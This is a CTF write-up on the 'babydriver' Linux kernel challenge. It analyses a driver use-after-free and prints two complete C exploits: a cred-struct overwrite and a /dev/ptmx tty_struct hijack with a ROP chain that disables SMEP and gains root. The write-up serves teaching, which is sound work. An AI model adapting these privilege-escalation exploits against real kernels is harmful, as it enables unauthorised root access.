0x00 Prologue

I only have little experience with kernel pwn. During the Intro_to_OS course, I read a lot of kernel code of xv6 and learned the kernel systematically. Although xv6 is a simple system while the Linux kernel is much more complex, the knowledge from xv6 learned helps a lot.

This post would not go too deep into the kernel because I am too weak to do that and I got all the solution ideas from CTF-wiki. You can also download the attachments at this link

0x01 UAF

In kernel, we could also use malloc kfree to allocate and return kernel heap chunks. But the management mechanism is different from in user mode. I didn’t know the slab mechanism at all. And I’ll start with a simple challenge and go through the exploit script to demonstrate the steps in kernel UAF exploitation. You can get the attachments at this repo. I’ll go through this and provide two different solutions. The first one is a simple one while the second one is more general.

0x02 Analysis

attachment

Let’s start from the boot script, start.sh.

#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm -monitor /dev/null -m 64M --nographic  -smp \
cores=1,threads=1 -cpu kvm64,+smep

This challenge runs with smep. But, in the first solution, we don’t need to care about the mitigation. Then let’s check the init script in the file system.

#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

It’s also a script, there is nothing important in init. As we can see, we read the symbol address in /proc/kallsyms and use dmesg to debug.

After reviewing these scripts, we can start the reversing.

__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t v4; // rbx

  _fentry__(filp, command, arg);
  v4 = v3;
  if ( command == 65537 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\n", 37748928LL);
    return 0LL;
  }
  else
  {
    printk(&unk_2EB, v3);
    return -22LL;
  }
}
int __fastcall babyrelease(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\n", filp);
  return 0;
}

The most important two functions are babyioctl and babyrelease. It’s important to notice there is no synchronization in this device and the babydev_struct is a global variable. So we could trigger the UAF by the following code.

a = open()
b = open()
close(a)
# we still have b.

The solution:

0x03 Solution I

0xa8 is the similar to sizeof(struct cred) and the new process’s would fetch the free chunk to store cred info.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <stdint.h>
typedef unsigned int uint;
void UAF()
{
    int f1 = open("/dev/babydev",2);
    int f2 = open("/dev/babydev",2);
    ioctl(f2,0x10001,0xa8); 
    close(f2);
    if(!fork())
    {   
        char buf[0x100]={0};
        write(f1,buf,28);
        system("/bin/sh");
    }
    wait(NULL);
}
int main()
{
    UAF();
}

0x04 Solution II

This is a more general and useful solution, for kernel UAF pwn, /dev/ptmx is a good candidate to exploit because there is a cool element in tty_stuct named const struct tty_operations *ops;. You can find the source code of tty_struct at this link and tty_operations at this link.

It’s a struct about the function points.

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    int  (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
    int  (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(str
    
    uct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

We can modify it and use options such as write(tty) or close(tty) to trigger our gadgets. The attacking procedure would be like

// UAF a 0x2e0 kernel chunk
int fd = open("\dev\ptmx")
// ... Modify the tty_struct.ops to control the the tty_struct.ops->write
write(fd,buf,1)

The full exploit script could use the address got while debugging because there is no kaslr. But there is SMEP, my exploit script bypasss the SMEP and perform ret2usr to get the shell.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <stdint.h>
typedef unsigned int uint;

void panic(char *s)
{
    printf("[!] Panic:");
    puts(s);
    exit(1);
}
void shell(){
    if(!getuid())
    {
        system("/bin/sh");
    }
    else{
        puts("[!] NO ROOT");
    }
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}
uint64_t commit_cred  = 0xffffffff810a1420;
uint64_t prepare_kernel_cred =0xffffffff810a1810;

void get_root()
{
    uint64_t (* a)();
    a = prepare_kernel_cred;
    uint64_t (* b)();
    b = commit_cred;
    b(a(0));

}
void bypass_smep()
{
    save_status();
    int f1 = open("/dev/babydev",2);
    int f2 = open("/dev/babydev",2);
    ioctl(f1,0x10001,0x2e0);
    close(f1);
    f1 = open("/dev/ptmx",2| O_NOCTTY);
    size_t buf[0x100] = {0};
    size_t fake[0x100] = {0};
    size_t rop[0x100] = {0};
    fake[7] = 0xFFFFFFFF8181BFC5;
    fake[0] = 0xffffffff8100ce6e;
    fake[1] = rop;
    fake[2] = 0xFFFFFFFF8181BFC5;
    uint ct = 0 ;
    rop[ct++] = 0xffffffff810d238d;
    rop[ct++] = 0x6f0;
    rop[ct++] = 0xffffffff81004d80; //mov cr4, rdi; pop ; ret
    rop[ct++] = 0;
    rop[ct++] = get_root;
    rop[ct++] = 0xffffffff81063694; //swapgs; pop ; ret
    rop[ct++] = 0;
    rop[ct++] = 0xffffffff814e35ef; //iretq
    rop[ct++] = shell;
    rop[ct++] = user_cs;
    rop[ct++] = user_rflags;
    rop[ct++] = user_sp;
    rop[ct++] = user_ss;
    
    read(f2,buf,0x20);
    buf[3] = fake;
    write(f2,buf,0x20);

    char trash[0x20];
    write(f1,trash,0x20);
}
int main()
{
    bypass_smep();
}

0x05 Summary

The second solution(ptmx) is significant and it’s a very general solution for kernel-heap exploitation.